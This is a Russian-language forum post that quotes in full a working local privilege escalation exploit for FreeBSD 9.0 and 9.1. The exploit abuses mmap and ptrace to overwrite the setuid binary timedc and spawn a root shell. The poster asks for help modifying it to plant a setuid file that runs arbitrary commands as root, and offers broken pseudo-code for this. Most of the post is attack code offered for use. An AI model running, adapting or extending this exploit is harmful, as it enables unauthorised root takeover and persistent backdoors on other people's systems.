Показать сообщение отдельно

  #4  
Старый 25.05.2017, 16:40
ACat
Guest
Сообщений: n/a
Провел на форуме:
60408

Репутация: 0
По умолчанию

Товарищ, помогайте, будьте любезны.

Код:
Code:
/*
* FreeBSD 9.{0,1} mmap/ptrace exploit
* by Hunger 
*
* Happy Birthday FreeBSD!
* Now you are 20 years old and your security is the same as 20 years ago... :)
*
* Greetings to #nohup, _2501, boldi, eax, johnny_b, kocka, op, pipacs, prof,
*              sd, sghctoma, snq, spender, s2crew and others at #hekkcamp:
*                      I hope we'll meet again at 8@1470n ;)
*
* Special thanks to proactivesec.com
*
*/
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#define SH "/bin/sh"
#define TG "/usr/sbin/timedc"
int
main(int ac, char **av) {
   int from_fd, to_fd, status;
   struct stat st;
   struct ptrace_io_desc piod;
   char *s, *d;
   pid_t pid;
   if (geteuid() == 0)  {
        setuid(0);
        execl(SH, SH, NULL);
        return 0;
   }
   printf("FreeBSD 9.{0,1} mmap/ptrace exploit\n");
   printf("by Hunger \n");
   if ((from_fd = open(av[0], O_RDONLY)) == -1 ||
        (to_fd = open(TG, O_RDONLY)) == -1)
                err(1, "open");
   if (stat(av[0], &st) == -1)
        err(2, "stat");
   if (((s = mmap(NULL, (size_t)st.st_size, PROT_READ,
        MAP_SHARED, from_fd, (off_t)0)) == MAP_FAILED) ||
                (d = mmap(NULL, (size_t)st.st_size, PROT_READ,
                        MAP_SHARED|MAP_NOSYNC, to_fd, (off_t)0)) == MAP_FAILED)
                                err(3, "mmap");
   if ((pid = fork()) == -1)
        err(4, "fork");
   if (!pid) {
        if (ptrace(PT_TRACE_ME, pid, NULL, 0) == -1)
                err(5, "ptraceme");
        return 0;
        }
   if (ptrace(PT_ATTACH, pid, NULL, 0) == -1)
        err(6, "ptattach");
   if (wait(&status) == -1)
        err(7, "wait");
   piod.piod_op = PIOD_WRITE_D;
   piod.piod_offs = d;
   piod.piod_addr = s;
   piod.piod_len  = st.st_size;
   if (ptrace(PT_IO, pid, (caddr_t)&piod, 0) == -1)
        err(8, "ptio");
   execl(TG, TG, NULL);
   return 0;
}
на сколько я понимаю вот тут

if (geteuid() == 0) {

setuid(0);

execl(SH, SH, NULL);

return 0;

}

и происходит основное.

Допустим, мне нужно сделать суидный файл, который будет выполнять передаваемое ему значение как команду.

То есть мне надо скомпилить прожку для начала. я не знаю ЯП, помогайте.

string a;

cin>>a;

exec(a);

а дальше мне надо в сплоите поменять execl(SH, SH, NULL); на что-то другоее

на что? exec(SH, 'chown ./shell', NULL);

правильно?
 
Ответить с цитированием